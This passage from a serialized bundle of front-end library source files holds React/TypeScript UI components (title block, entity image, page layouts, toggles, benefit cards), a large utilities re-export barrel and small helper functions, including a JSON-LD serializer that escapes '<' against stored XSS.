TITLE_BLOCK_MIN_HEIGHT)}>\n        {backButton && (\n          <BackButton\n            onClick={backButton.onClick}\n            label={backButton.label}\n            className=\"hidden md:inline-flex\"\n          />\n        )}\n        {(image || hasSubtitleRow || loading) ? (\n          <div className=\"flex items-center gap-[var(--spacing-system-m)] min-w-0 w-full\">\n            {image && (\n              <EntityImage\n                src={image.src}\n                alt={image.alt}\n                fallbackText={image.alt || title}\n              />\n            )}\n            <div className=\"flex flex-col justify-center min-w-0 flex-1\">\n              {(loading || title) && (\n                titleAdornment ? (\n                  <div className=\"flex items-center gap-[var(--spacing-system-m)] min-w-0 w-full\">\n                    {/* `min-w-0` moves onto the tooltip's wrapper: the wrapper is\n                        now the flex item, and without it the row refuses to\n                        shrink and pushes the adornment out. */}\n                    <FloatingTooltip content={title} side=\"bottom\" disabled={!titleTruncated} triggerClassName=\"min-w-0\">\n                      <h1 ref={titleRef} className={cn(titleClass, 'text-ods-text-primary min-w-0', titleOverflowClass)}>{titleNode}</h1>\n                    </FloatingTooltip>\n                    <span className=\"shrink-0\">{titleAdornment}</span>\n                  </div>\n                ) : (\n                  <FloatingTooltip content={title} side=\"bottom\" disabled={!titleTruncated}>\n                    <h1 ref={titleRef} className={cn(titleClass, 'text-ods-text-primary', titleOverflowClass)}>{titleNode}</h1>\n                  </FloatingTooltip>\n                )\n              )}\n              {hasSubtitleRow && (\n                /* The NBSP is a pure spacer, reached only in `'always'` mode: an\n                   empty `p` collapses to zero height (its only content would be\n                   collapsible whitespace), which is exactly the shift that mode\n                   exists to prevent. Hidden from AT — it carries no meaning. */\n                <FloatingTooltip content={subtitle} side=\"bottom\" disabled={!subtitleTruncated}>\n                  <p\n                    ref={subtitleRef}\n                    className=\"text-h6 text-ods-text-secondary truncate\"\n                    aria-hidden={!loading && !subtitle ? true : undefined}\n                  >{loading ? <TitleTextSkeleton widthClass=\"w-28 md:w-36\" heightClass=\"h-2.5 md:h-3\" /> : (subtitle || '\\u00A0')}</p>\n                </FloatingTooltip>\n              )}\n            </div>\n          </div>\n        ) : (\n          title && (\n            titleAdornment ? (\n              <div className=\"flex items-center gap-[var(--spacing-system-m)] min-w-0 w-full\">\n                <FloatingTooltip content={title} side=\"bottom\" disabled={!titleTruncated} triggerClassName=\"min-w-0\">\n                  <h1 ref={titleRef} className={cn(titleClass, 'text-ods-text-primary min-w-0', titleOverflowClass)}>{title}</h1>\n                </FloatingTooltip>\n                <span className=\"shrink-0\">{titleAdornment}</span>\n              </div>\n            ) : (\n              /* This branch never had the single-line clamp, so text already\n                 wraps; `titleWrap` only adds break-words for pathological\n                 unbroken tokens. No class change when the prop is unset —\n                 the frozen baseline stays byte-identical. */\n              <h1 className={cn(titleClass, 'text-ods-text-primary', titleWrap && 'break-words')}>{title}</h1>\n            )\n          )\n        )}\n      </div>\n\n      {/* `loadingActions` opens this gate on its own: the case the flag exists for\n          is a page that does not YET know its action set, which is exactly the\n          page that passes `actions={[]}` — gating on `hasActions` alone would\n          render nothing and then pop the real buttons in. */}\n      {(hasActions || hasMenuActions || selector || loadingActions) && (\n        <div className=\"flex gap-2 items-center shrink-0\">\n          <PageActions\n            variant={actionsVariant}\n            actions={actions ?? []}\n            menuActions={menuActions}\n            selector={selector}\n            loading={loadingActions}\n          />\n        </div>\n      )}\n    </div>\n  )\n}\n\nexport default TitleBlock\n","'use client'\n\nimport React from 'react'\nimport { useAuthedImageSrc } from '../../hooks/use-authed-image-src'\nimport { cn } from '../../utils/cn'\nimport { getFirstLastInitials } from '../../utils/format'\n\nexport interface EntityImageProps {\n  src?: string | null\n  alt?: string\n  /** Overrides the initials source. Defaults to `alt`. */\n  fallbackText?: string\n  className?: string\n}\n\nexport function EntityImage({ src, alt, fallbackText, className }: EntityImageProps) {\n  const resolvedSrc = useAuthedImageSrc(src)\n  const [imageFailed, setImageFailed] = React.useState(false)\n\n  React.useEffect(() => {\n    setImageFailed(false)\n  }, [resolvedSrc])\n\n  const showFallback = imageFailed || !resolvedSrc\n  const initials = getFirstLastInitials(fallbackText ?? alt)\n\n  if (showFallback) {\n    return (\n      <div\n        aria-label={alt}\n        className={cn(\n          'size-[52px] md:size-[60px] shrink-0 rounded-md border border-ods-border bg-ods-bg flex items-center justify-center text-ods-text-secondary text-h4 select-none',\n          className,\n        )}\n      >\n        {initials || '?'}\n      </div>\n    )\n  }\n\n  return (\n    <img\n      src={resolvedSrc}\n      alt={alt ?? ''}\n      onError={() => setImageFailed(true)}\n      className={cn(\n        'size-[52px] md:size-[60px] shrink-0 rounded-md border border-ods-border object-contain',\n        className,\n      )}\n    />\n  )\n}\n","import React from 'react';\nimport { cn } from '../../utils/cn';\n\n/**\n * Unified page layout components.\n *\n * PageShell: full-width <main> for list pages, dashboards, and other wide\n * layouts (max-w-[1920px]) — bg + min-height + centered, max-width content box.\n * ArticleDetailLayout: the same shell constrained to a readable article width\n * (max-w-[1280px]) — blog posts, release notes, case studies, etc.\n * Child components render content only; no layout wrappers needed.\n *\n * Outer padding is driven by CSS custom properties (see\n * `styles/ods-page-shell.css`), so an embedder matches its host grid by setting\n * the `--page-shell-*` vars on ANY ancestor — no prop-threading through the lib\n * wrappers (DevSectionPage / LegalDocumentPage / ReleaseDetailPage / …), no\n * imperative global, no context. The cascade scopes each override to its own\n * subtree. Per-instance escape hatch: `contentClassName` (Tailwind padding\n * utilities there win over the class defaults).\n */\n\ninterface LayoutProps {\n  children: React.ReactNode;\n  /** JSON-LD schema script elements (breadcrumbs, article schema, etc.) */\n  schemas?: React.ReactNode;\n  /** Per-instance class override on the content box (wins over the var defaults). */\n  contentClassName?: string;\n}\n\n/**\n * Full-width page shell for list pages, dashboards, and other wide layouts.\n * Max width: 1920px.\n *\n * No `min-h-screen` here on purpose: the root layout already wraps page\n * content in a `flex min-h-screen flex-col` → `flex-1` chain (app/layout.tsx),\n * so the footer is pushed to the bottom of the viewport on short pages without\n * this shell forcing its own 100vh. Adding `min-h-screen` here stacks a second\n * full viewport INSIDE that growing `flex-1`, which only manifests as dead\n * space when the shell is a hero section above sibling content\n * (roadmap-and-releases). There is no case where the shell itself should fill\n * the viewport.\n */\nexport function PageShell({ children, schemas, contentClassName }: LayoutProps) {\n  return (\n    <main className=\"bg-ods-bg\">\n      {schemas}\n      <div className={cn('page-shell-content max-w-[1920px] mx-auto', contentClassName)}>\n        {children}\n      </div>\n    </main>\n  );\n}\n\n/**\n * Constrained layout for article/detail pages (max-w-[1280px]) — readable\n * content width for blog posts, release notes, case studies, investor updates.\n * Fixed hub padding (`px-6 md:px-20 py-6 md:py-10`); pass `contentClassName` to\n * override per instance. (PageShell's `--page-shell-*` var system does NOT apply\n * here — this layout keeps its own fixed spacing.)\n */\nexport function ArticleDetailLayout({ children, schemas, contentClassName }: LayoutProps) {\n  return (\n    <main className=\"bg-ods-bg\">\n      {schemas}\n      <div className={cn('max-w-[1280px] mx-auto px-6 md:px-20 py-6 md:py-10', contentClassName)}>\n        {children}\n      </div>\n    </main>\n  );\n}\n","\"use client\"\n\nimport * as React from \"react\"\nimport * as ToggleGroupPrimitive from \"@radix-ui/react-toggle-group\"\nimport { type VariantProps } from \"class-variance-authority\"\n\nimport { cn } from \"../utils/cn\"\nimport { toggleVariants } from \"./ui/toggle\"\n\nconst ToggleGroupContext = React.createContext<\n  VariantProps<typeof toggleVariants>\n>({\n  size: \"default\",\n  variant: \"default\",\n})\n\nconst ToggleGroup = React.forwardRef<\n  React.ElementRef<typeof ToggleGroupPrimitive.Root>,\n  VariantProps<typeof toggleVariants> & {\n    className?: string;\n    children?: React.ReactNode;\n  } & (\n    | React.ComponentPropsWithoutRef<typeof ToggleGroupPrimitive.Root>\n  )\n>(({ className, variant, size, children, ...props }, ref) => (\n  <ToggleGroupPrimitive.Root\n    ref={ref}\n    className={cn(\"flex items-center justify-center gap-1\", className)}\n    {...(props as any)}\n  >\n    <ToggleGroupContext.Provider value={{ variant, size }}>\n      {children}\n    </ToggleGroupContext.Provider>\n  </ToggleGroupPrimitive.Root>\n))\n\nToggleGroup.displayName = ToggleGroupPrimitive.Root.displayName\n\nconst ToggleGroupItem = React.forwardRef<\n  React.ElementRef<typeof ToggleGroupPrimitive.Item>,\n  React.ComponentPropsWithoutRef<typeof ToggleGroupPrimitive.Item> &\n    VariantProps<typeof toggleVariants>\n>(({ className, children, variant, size, value, ...props }, ref) => {\n  const context = React.useContext(ToggleGroupContext)\n\n  return (\n    <ToggleGroupPrimitive.Item\n      ref={ref}\n      value={value}\n      className={cn(\n        toggleVariants({\n          variant: context.variant || variant,\n          size: context.size || size,\n        }),\n        className\n      )}\n      {...props}\n    >\n      {children}\n    </ToggleGroupPrimitive.Item>\n  )\n})\n\nToggleGroupItem.displayName = ToggleGroupPrimitive.Item.displayName\n\nexport { ToggleGroup, ToggleGroupItem }\n","\"use client\"\n\nimport * as React from \"react\"\nimport * as TogglePrimitive from \"@radix-ui/react-toggle\"\nimport { cva, type VariantProps } from \"class-variance-authority\"\nimport { cn } from \"../../utils/cn\"\n\nconst toggleVariants = cva(\n  \"inline-flex items-center justify-center rounded-md text-h6 transition-colors hover:bg-ods-bg-hover hover:text-ods-text-primary focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ods-focus focus-visible:ring-offset-2 disabled:pointer-events-none disabled:opacity-50 data-[state=on]:bg-ods-accent data-[state=on]:text-ods-text-on-accent\",\n  {\n    variants: {\n      variant: {\n        default: \"bg-transparent\",\n        outline:\n          \"border border-ods-border bg-transparent hover:bg-ods-accent hover:text-ods-text-on-accent\",\n      },\n      size: {\n        default: \"h-10 px-3\",\n        sm: \"h-9 px-2.5\",\n        lg: \"h-11 px-5\",\n      },\n    },\n    defaultVariants: {\n      variant: \"default\",\n      size: \"default\",\n    },\n  }\n)\n\nconst Toggle = React.forwardRef<\n  React.ElementRef<typeof TogglePrimitive.Root>,\n  React.ComponentPropsWithoutRef<typeof TogglePrimitive.Root> &\n    VariantProps<typeof toggleVariants>\n>(({ className, variant, size, ...props }, ref) => (\n  <TogglePrimitive.Root\n    ref={ref}\n    className={cn(toggleVariants({ variant, size, className }))}\n    {...props}\n  />\n))\n\nToggle.displayName = TogglePrimitive.Root.displayName\n\nexport { Toggle, toggleVariants }","\"use client\"\n\nimport React from 'react'\nimport { cn } from '../../utils'\n\ninterface BenefitCardProps {\n  icon?: React.ReactNode\n  title: string\n  description: string\n  variant?: 'default' | 'dark' | 'auth-figma'\n  className?: string\n}\n\nexport const BenefitCard: React.FC<BenefitCardProps> = ({\n  icon,\n  title,\n  description,\n  variant = 'default',\n  className = ''\n}) => {\n  const getBaseStyles = (variant: string) => {\n    const gap = variant === 'auth-figma' ? 'gap-4' : 'gap-2'\n    return `flex ${gap} items-start justify-start relative`\n  }\n  \n  const variantStyles = {\n    default: {\n      container: \"bg-ods-bg p-2 md:p-4\",\n      title: \"font-body font-bold text-body-md md:text-body-lg text-ods-text-primary\",\n      description: \"font-body font-medium text-body-sm md:text-body-md text-ods-text-secondary\"\n    },\n    dark: {\n      container: \"bg-transparent p-0 shadow-[0px_48px_80px_0px_rgba(0,0,0,0.24)]\",\n      title: \"font-mono font-semibold text-heading-4 leading-[40px] text-ods-text-primary tracking-[-0.64px]\",\n      description: \"font-body font-medium text-body-lg leading-6 text-ods-text-tertiary\"\n    },\n    'auth-figma': {\n      container: \"bg-transparent p-6\",\n      title: \"text-h3 text-ods-text-primary tracking-[-0.36px]\",\n      description: \"text-h4 text-ods-text-secondary\"\n    }\n  }\n  \n  const styles = variantStyles[variant]\n  \n  return (\n    <div className={cn(\n      getBaseStyles(variant),\n      styles.container,\n      className\n    )}>\n      {icon && (\n        <div>\n          {icon}\n        </div>\n      )}\n      <div className=\"flex flex-col gap-1 flex-1 min-w-0\">\n        <h3 className={cn(\n          styles.title\n        )}>\n          {title}\n        </h3>\n        <p className={cn(\n          styles.description\n        )}>\n          {description}\n        </p>\n      </div>\n    </div>\n  )\n}\n\ninterface BenefitCardGridProps {\n  children: React.ReactNode\n  className?: string\n  columns?: 2 | 3 | 4 // Support 2, 3, or 4 columns\n}\n\nexport const BenefitCardGrid: React.FC<BenefitCardGridProps> = ({\n  children,\n  className = '',\n  columns = 2\n}) => {\n  const childrenArray = React.Children.toArray(children)\n\n  const gridClass = columns === 4\n    ? 'grid grid-cols-1 md:grid-cols-2 lg:grid-cols-4'\n    : columns === 3\n    ? 'grid grid-cols-1 md:grid-cols-2 lg:grid-cols-3'\n    : 'flex flex-col md:flex-row'\n\n  return (\n    <div className={cn(\n      \"bg-ods-card rounded-lg shadow-ods-card border border-ods-border overflow-hidden\",\n      gridClass,\n      className\n    )}>\n      {childrenArray.map((child, index) => {\n        const totalItems = childrenArray.length\n        const isLastItem = index === totalItems - 1\n\n        // Dynamic border logic based on columns\n        let borderClass = ''\n        if (columns === 4) {\n          // 4-column grid borders\n          const isLastInRow = (index + 1) % 4 === 0\n          const isInLastRow = index >= totalItems - 4\n          borderClass = cn(\n            !isLastInRow && 'md:border-r border-ods-border',\n            !isInLastRow && 'border-b md:border-b lg:border-b-0',\n            index < 2 && 'lg:border-b-0'\n          )\n        } else {\n          // Original 2-3 column logic\n          borderClass = isLastItem\n            ? 'border-b-0'\n            : 'border-b md:border-b-0 md:border-r border-ods-border'\n        }\n\n        return React.cloneElement(child as React.ReactElement<any>, {\n          key: index,\n          className: borderClass\n        })\n      })}\n    </div>\n  )\n}","// Utils exports - client-side only\nexport { cn } from './cn'\n// Platform→domain SSOT lives in `../platform-domains` (single definition). Re-exported\n// here so existing `/utils` callers keep working; the new resolver/helpers\n// (getPlatformByHostname/hostOf/expandWwwApex/…) are exposed via the `/platform-domains`\n// subpath ONLY (one import surface for the new API).\nexport { getPlatformProductionUrl, getAllPlatformBaseDomains } from '../platform-domains'\n// Number / currency / byte / date formatters live in `./format` (single\n// source of truth). Re-exported here so existing callers that pull from\n// the barrel keep working without changing imports.\nexport { formatDate, formatNumber, formatPrice, formatBytes } from './format'\n// SVG path constants — re-exported here (server-safe) because icons-v2 has \"use client\"\nexport { PLAY_ICON_PATH } from '../components/icons-v2-generated/media-playback/play-icon'\nexport {\n  getPlatformAccentColor,\n  getCurrentPlatform,\n  type ColorCategory,\n  HEX_PATTERN,\n  // Custom-color helpers so consumers (e.g. the chat client's accent theming)\n  // reuse the design-system math instead of re-implementing darken/hex utils.\n  getReadableTextColor,\n  hexToRgb,\n  rgbToHex,\n  deriveHoverColor,\n  deriveActiveColor,\n} from './ods-color-utils'\nexport { delay, generateRandomString, truncateString, deepClone, getSlackCommunityJoinUrl, serializeJsonLd } from './common'\nexport { getBaseUrl } from '../utils/cn'\n// SEO title length budget — server-safe constant (SSOT). Consumed by the hub\n// (prompt guidance + DB check value) and by SEOEditorPreview (input maxLength).\nexport { SEO_TITLE_MAX_LENGTH } from './seo-title'\nexport { SEO_DESCRIPTION_MAX_LENGTH } from './seo-description'\n\n// Brand silhouette SVG registry (CSS mask-image tinting) — centralized so\n// consumers (e.g. company-hub deck) don't ship their own copies of the marks.\nexport * from './brand-marks'\nexport * from './platform-config'\nexport * from './os-platforms'\nexport * from './access-code-client'\n// Validation utilities\nexport * from './validation-utils'\n// Note: format and date-utils are imported via cn.ts to avoid duplicates\n// AI confidence utilities\nexport * from './confidence-helpers'\n// Release date formatting utilities\nexport * from './date-formatters'\n// Product-release card helpers (lifted from the hub so every embedder gets the\n// rich card metadata): badge-color mapping + cover-image fallback resolution.\nexport * from './release-badge'\nexport * from './release-cover'\n// OG-placeholder fallback image — the lib-owned DEFAULT URL builder (replaces\n// the old per-embedder `ChatRuntime.resolvePlaceholderUrl` callback). Driven by\n// the runtime's base API URL; embedders override via `endpoints.ogPlaceholderUrl`.\nexport * from './og-placeholder'\n// Dev-center URL param keys — the ONE source for the `?search=` / `?status=` / … keys the\n// chrome registry writes and the list views read; re-exported so embedders (and the hub's\n// dev-section-url helper) build deep-links with the same keys instead of a bare literal.\nexport {\n  DEV_SECTION_PARAM_KEYS,\n  devSectionAnchorId,\n  type DevSectionAnchorKind,\n  TICKET_OPEN_PARAM,\n  buildTicketOpenHref,\n} from './dev-sections/dev-section-param-keys'\n// Dynamic icon registry — single source of truth lives at\n// components/chat/utils/icon-registry. Re-exported here so existing\n// `@flamingo-stack/openframe-frontend-core/utils` callers (hub admin\n// social-account screens) keep working without changing their import path.\nexport {\n  getDynamicIcon,\n  type DynamicIconSize,\n  ICON_REGISTRY,\n  getIconComponent,\n  normalizeIconKey,\n} from '../components/chat/utils/icon-registry'\nexport { getPlatformIconComponent as getPlatformLogo } from './platform-config'\n// Tool type utilities\nexport * from './tool-utils'\n// Shell type utilities\nexport * from './shell-utils'\n// Video-bite element identity (id stamping + the ONE matching predicate) —\n// isomorphic; used by the admin bites editor AND the hub's Mux sweep/writers.\nexport * from './video-bite-id'\n// OS type utilities\nexport * from './os-utils'\n// Phone utilities\nexport * from './country-phone-utils'\n// Generic domain detection\nexport * from './generic-domain-utils'\n\n// Color analysis (canvas-based image color extraction)\nexport * from './color-analysis'\n\n// Announcement dismissal store (cookie SSOT; server-safe name/match helpers)\nexport * from './announcement-storage'\n// cookie id-match dismissal store (walkthrough video widget)\nexport * from './dismiss-cookie'\nexport * from './dismissal-storage'\n// walkthrough deep-link query param (widget default + host URL minters)\nexport * from './walkthrough-deep-link'\n\n// Image-proxy URL builder (pure, runtime-configurable)\nexport {\n  type GetProxiedImageUrlOptions,\n  getProxiedImageUrl,\n  urlPathLooksLikeSvg,\n  shouldProxyImage,\n  generateImageSizes,\n} from './image-proxy'\n\n// Number / byte / duration / time / UTC date / initials / metric /\n// trend / range / text helpers — single canonical home for every\n// generic formatter consumed across the lib AND the hub. Hub keeps\n// only vendor-specific helpers (formatClassification / formatPricingModel\n// in `lib/utils/vendor-text.ts`).\nexport {\n  formatLargeNumber,\n  formatAbbreviatedNumber,\n  nameInitials,\n  getFirstLastInitials,\n  formatDurationMMSS,\n  formatDurationCompact,\n  formatTimeWithTimezone,\n  formatDurationFromRange,\n  type FormatDateUTCOptions,\n  formatDateUTC,\n  formatEntryMonthUTC,\n  formatCurrency,\n  formatPercent,\n  formatWholeDollars,\n  formatLegalDate,\n  formatBytesShort,\n  formatFileSize,\n  formatDateTimeAt,\n  formatDurationFromMs,\n  type MetricFormat,\n  type TrendPolarity,\n  formatCompactMetric,\n  getTrendColors,\n  formatDateRange,\n  formatDuration,\n  formatUnderscoreText,\n  titleCaseFromSlug,\n  stripHtml,\n  formatBioText,\n  formatClassification,\n  formatPricingModel,\n} from './format'\n\n// Date / time helpers (relative, absolute, range checks, UTC timestamp)\nexport {\n  formatRelativeTime,\n  formatAbsoluteDate,\n  formatDateTime,\n  getDetailedTimeDifference,\n  isToday,\n  isWithinMinutes,\n  createUTCTimestamp,\n  formatTicketRelativeTime,\n  formatTicketFullTimestamp,\n} from './date-utils'\n\n// Chat source-icons + labels (server-safe — lives here in src/utils/\n// instead of src/components/chat/utils/ so server-side hub callers like\n// doc-chat-utils can use them without tripping the 'use client' boundary)\nexport {\n  SOURCE_ICON_NAMES,\n  getSourceIconName,\n  SOURCE_LABELS_BY_TABLE,\n  getSourceLabel,\n} from './source-icons'\n\n// Embed-surface auth — generic across chat AND ticket center (and any\n// future embedded React component that needs to identify as the proxied\n// customer). The bearer is a PLATFORM API KEY (minted in the hub's\n// /admin/api-keys; the old shared CHAT_PROXY_SECRET env is removed\n// hub-side). Wire headers / storage key are unchanged (`X-Chat-*`,\n// `chat.proxy-auth.v1`) — those are server / deployment contracts. The\n// CLIENT-side rename frees non-chat surfaces from importing a\n// chat-prefixed symbol; the old chat-prefixed aliases are DELETED —\n// these Embed* exports are the only names.\nexport {\n  embedAuthedFetch,\n  setEmbedAuthAdapter,\n  type EmbedAuthAdapter,\n} from './embed-authed-fetch'\n// THE common SSE client (fetch-based, standard `event:`/`data:` frames,\n// silence-based liveness, never-terminating capped backoff). Consumed by\n// the lib's `TicketLiveProvider` AND the hub's workflow/invocation stream\n// hooks — the hub's old EventSource-based `sse-client.ts` was deleted in\n// favor of this. Streams that END (terminal events) must `close()` from\n// their event handler, or the never-terminating reconnect re-opens them.\nexport {\n  createSseSubscription,\n  type SseSubscription,\n  type SseSubscriptionOptions,\n  type SseTransportStatus,\n} from './sse-subscription'\nexport {\n  type EmbedProxyAuth,\n  getEmbedProxyAuth,\n  setEmbedProxyAuth,\n  clearEmbedProxyAuth,\n  getPersistedProxyEmail,\n  applyProxyAuth,\n} from './embed-proxy-auth-storage'\n\n// SSE leading-frame reader for the chat-agent `confirm-tool` route.\n// Used by the ticket center to drain the single `decision_resolved`\n// frame the server emits when `messages: []` is in the request body.\nexport {\n  readLeadingDecisionFrame,\n  type DecisionResolvedFrame,\n} from './sse-decision-frame'\n\n// Pure text/wire helpers that originated under components/chat/utils/\n// but are needed by SERVER-SIDE hub callers (doc-chat-utils,\n// hubspot-files-utils, rag-mappers). Re-exporting through utils/ keeps\n// them out of the 'use client' bundle. The chat-side re-export chain\n// stays intact for client consumers via components/chat barrel.\nexport {\n  escapeMarkdownInline,\n  type ChatAttachment,\n  buildChatAttachmentViewUrl,\n  formatChatAttachmentMarkdownForBubble,\n  CHAT_ATTACHMENT_VIEW_URL_PREFIX,\n  CHAT_ATTACHMENT_VIEW_TOKEN_QUERY_PARAM,\n  ANTHROPIC_SUPPORTED_IMAGE_MIME,\n  CHAT_ATTACHMENT_VIEW_URL_PREFIX_REGEX_ESCAPED,\n  CHAT_ATTACHMENT_MARKDOWN_PATTERN,\n  stripChatAttachmentMarkdown,\n} from '../components/chat/utils/chat-attachment-markdown'\nexport {\n  AUTO_CONTINUATION_DIRECTIVE_PREFIX,\n  buildAutoContinuationDirective,\n  type BuildAutoContinuationOptions,\n} from '../components/chat/utils/auto-continuation-directive'\nexport { flattenAssistantContent } from '../components/chat/utils/flatten-assistant-content'\nexport {\n  SCROLL_ANCHOR,\n  type ScrollAnchor,\n  SCROLL_ANCHOR_WIRE_KEY,\n  parseScrollAnchor,\n} from '../components/chat/utils/scroll-anchor'\nexport {\n  type WireCommandOverride,\n  parseWireCommandOverride,\n  sanitizeTitleForChat,\n  formatSingularLookupInvocation,\n  type CommandOverride,\n  extractEntityIdFilter,\n  buildDiscussAddendum,\n} from '../components/chat/utils/slash-dispatch-utils'\n\n// ClickUp taxonomy constants + label resolver — server-safe so the\n// delivery aggregator + sync engine can read CUSTOM_ITEM_ID.BUG/.REQUEST\n// without going through the 'use client' chat barrel (which erases the\n// values to undefined when imported from server code).\nexport { CUSTOM_ITEM_ID, getTaskTypeLabel } from '../components/chat/utils/clickup-task-type-utils'\n\n// Status color scheme + clickup URL helpers (pure, server-safe)\nexport { type ColorScheme, getStatusColorScheme } from '../components/chat/utils/agent-status-message'\nexport { clickupTaskUrl } from '../components/chat/utils/external-app-urls'\n\n// Cross-origin URL detection (pure — used by server-side rag-mappers\n// + content-url-builder for cross-origin same-tab decisions)\nexport { isCrossOriginUrl } from '../components/chat/utils/is-cross-origin-url'\n\n// React-version-aware `fetchpriority` prop builder — spread into `<img>`\n// / `<iframe>` so the rendered DOM attribute is correct under React 18\n// (lowercase) AND React 19 (camelCase) without console warnings.\nexport { fetchPriorityProp, type FetchPriorityValue } from './fetch-priority'\n\n// Dev-center section registry (Roadmap / Delivery / Releases / Onboarding) —\n// server-safe (no JSX, no contexts/* imports); imported by route-page\n// `metadata` exports + the shared `<DevSectionView>` chrome.\nexport * from './dev-sections'\n\n// Canonical \"smooth scroll element into view with sticky-chrome\n// offset\" helper. Single source of truth across the lib + hub for\n// pre-computed-target scrolling — see `scroll-into-view.ts` for the\n// rationale (TL;DR: window.scrollTo({top, behavior:'smooth'}) with a\n// pre-computed pixel value avoids the mid-animation jitter that\n// `element.scrollIntoView()` produces when layout shifts during the\n// scroll).\nexport {\n  type ScrollElementIntoViewOptions,\n  scrollElementIntoView,\n} from './scroll-into-view'\n\n// Same-page hash navigation — owns pushState + synthetic hashchange +\n// anchoring-proof scroll. Pair of `scrollElementIntoView`. Used by the\n// hub's `useUnifiedNav` + chat-runtime `navigate`, AND by every\n// embeddable surface that drives state off the URL hash.\nexport {\n  navigateSamePageHash,\n  normalizeHashFragment,\n  STICKY_HEADER_OFFSET_PX,\n  HUB_HEADER_OFFSET_PX,\n  type NavigateSamePageHashOptions,\n} from './same-page-hash-nav'\n\n// GitHub-compatible anchor resolution. Doc TOCs are authored against\n// GitHub's slugger (`## 📚 Table of Contents` → `#-table-of-contents`)\n// while our heading ids trim the emoji's leftover hyphen — this bridges\n// that without changing the id shape the \"On this page\" rail and every\n// shared URL already depend on. Consumers resolving a hash want\n// `getHashTargetElement` (above), which applies this as its last pass.\nexport { findAnchorElementByNormalizedId, normalizeAnchorId } from './anchor-id'\n\n// Shared list-API URL builder — the single source for the per-type chat\n// entity-card fetch shapes. The hub's 12 RAG mapper `listApi` closures\n// delegate here (byte-parity test guards the migration); embedders wire\n// `endpoints.buildListUrl = (t, ids) => buildListUrl(t, ids, '/content')`.\n// Pure + server-safe (the hub imports it server-side from this barrel).\nexport { buildListUrl, canonicalContentRefType } from './list-url'\n\n// FAQ anchor SSOTs — section (`faq-<slug>`) AND item (`faq-item-<id>`)\n// formats plus the parser, all rendered by `FaqSection`/`FaqAccordion`\n// and recognised by the hub's RAG mapper. One algo per kind, one parser,\n// zero drift across page + chat + future consumers.\nexport { faqSectionSlug, faqItemAnchor, parseFaqHash } from './faq-anchor'\nexport type { FaqHashTarget } from './faq-anchor'\n\n// Content-ref group registry (labels/order/layout per rail type) + list-API\n// response normalizers + the shared suggestion-fetch URL composer — all\n// pure + server-safe; the hub re-exports these from its config/util shims.\nexport {\n  CONTENT_REF_GROUPS,\n  getContentRefLabel,\n  getContentRefLabelOrTitleCase,\n  orderContentRefTypes,\n  type ContentRefGroupConfig,\n  type ContentRefLayout,\n  type ContentRefGridSize,\n} from './content-ref-groups'\nexport { extractItems, extractItemId } from './extract-items'\nexport { FullscreenSwitchController, type FullscreenSwitchOptions } from './fullscreen-switch'\nexport { buildSuggestionUrl, type SuggestionUrlOptions } from './suggestion-url'\n\n// Embedder-configurable content-URL composer for the existing\n// `runtime.composeContentUrl` seam — relative href for host-served types,\n// hub origin for the rest. Pure + server-safe.\nexport {\n  DEFAULT_CONTENT_SUFFIXES,\n  makeComposeContentUrl,\n  buildDefaultHref,\n  type ContentHrefOptions,\n  type ComposeContentUrl,\n} from './content-href'\n\n// Invisible bot-protection signals (honeypot + timing) — pure + server-safe so\n// the hub's per-route `verifyHuman` gate imports the SAME `evaluateHumanitySignals`\n// decision fn the lib forms feed. Also exported via the granular subpath\n// `./utils/humanity-signals` for server-only consumers.\nexport * from './humanity-signals'\n\n// Doc-source viewer utilities (path parsing, tree building, section extraction,\n// embed-URL conversion) — single home for all doc-viewer pure helpers across\n// hub + lib consumers (knowledge-base, data-room, and future sources).\nexport * from './doc-path-utils'\nexport * from './doc-tree-nav'\nexport * from './tree-builder'\nexport * from './markdown-heading-id'\nexport * from './markdown-section-extractor'\nexport * from './markdown-to-plain'\nexport * from './embed-url-converters'\n\n// HubSpot meeting-link naming convention — the executable SSOT (parser,\n// validator, label + name-split helpers, MAX_MONTH_OFFSET). Pure + server-safe.\nexport * from './hubspot-meetings-convention'\nexport * from './page-header-constants'\nexport * from './first-touch-attribution'\n","import { clsx, type ClassValue } from \"clsx\"\nimport { twMerge } from \"tailwind-merge\"\n\n/**\n * Utility functions for common operations\n */\n\n/**\n * Merge class names with Tailwind CSS\n * @param inputs - Class names to merge\n * @returns Merged class names\n */\nexport function cn(...inputs: ClassValue[]) {\n  return twMerge(clsx(inputs))\n}\n\n/**\n * Delay execution for a specified time\n * @param ms - Milliseconds to delay\n * @returns Promise that resolves after the delay\n */\nexport function delay(ms: number): Promise<void> {\n  return new Promise((resolve) => setTimeout(resolve, ms))\n}\n\n/**\n * Generate a random string of specified length\n * @param length - Length of the string\n * @returns Random string\n */\nexport function generateRandomString(length = 8): string {\n  const chars = \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789\"\n  let result = \"\"\n  for (let i = 0; i < length; i++) {\n    result += chars.charAt(Math.floor(Math.random() * chars.length))\n  }\n  return result\n}\n\n/**\n * Truncate a string to a specified length\n * @param str - String to truncate\n * @param maxLength - Maximum length\n * @param suffix - Suffix to add to truncated string\n * @returns Truncated string\n */\nexport function truncateString(str: string, maxLength: number, suffix = \"...\"): string {\n  if (str.length <= maxLength) return str\n  return str.substring(0, maxLength - suffix.length) + suffix\n}\n\n/**\n * Serialize a JSON-LD schema for a `<script type=\"application/ld+json\">`\n * block — THE one home of the escape rule (the hub re-exports this from\n * lib/utils/breadcrumbs). JSON.stringify does NOT HTML-escape: a stored\n * \"</script>\" inside any admin/user-entered field would terminate the tag\n * early (stored XSS). Every \"<\" becomes the JSON escape sequence\n * backslash-u003c — still valid JSON, inert in HTML.\n */\nexport function serializeJsonLd(schema: unknown): string {\n  return JSON.stringify(schema).replace(/</g, \"\\\\u003c\")\n}\n\n/**\n * Deep clone an object\n * @param obj - Object to clone\n * @returns Cloned object\n */\nexport function deepClone<T>(obj: T): T {\n  return JSON.parse(JSON.stringify(obj))\n}\n\n/**\n * Get the Slack community join URL from environment variables\n * @returns Slack community join URL or fallback URL\n */\nexport function getSlackCommunityJoinUrl(): string {\n  const url = process.env.NEXT_PUBLIC_SLACK_COMMUNITY_JOIN_URL\n  if (!url) {\n    console.warn('NEXT_PUBLIC_SLACK_COMMUNITY_JOIN_URL is not defined in environment variables')\n    return 'https://join.slack.com/t/openmsp/shared_invite/zt-36bl7mx0h-3~U2nFH6nqHqoTPXMaHEHA'\n  }\n  return url\n}\n\n","/**\n * Single source of truth for the `seo_title` length 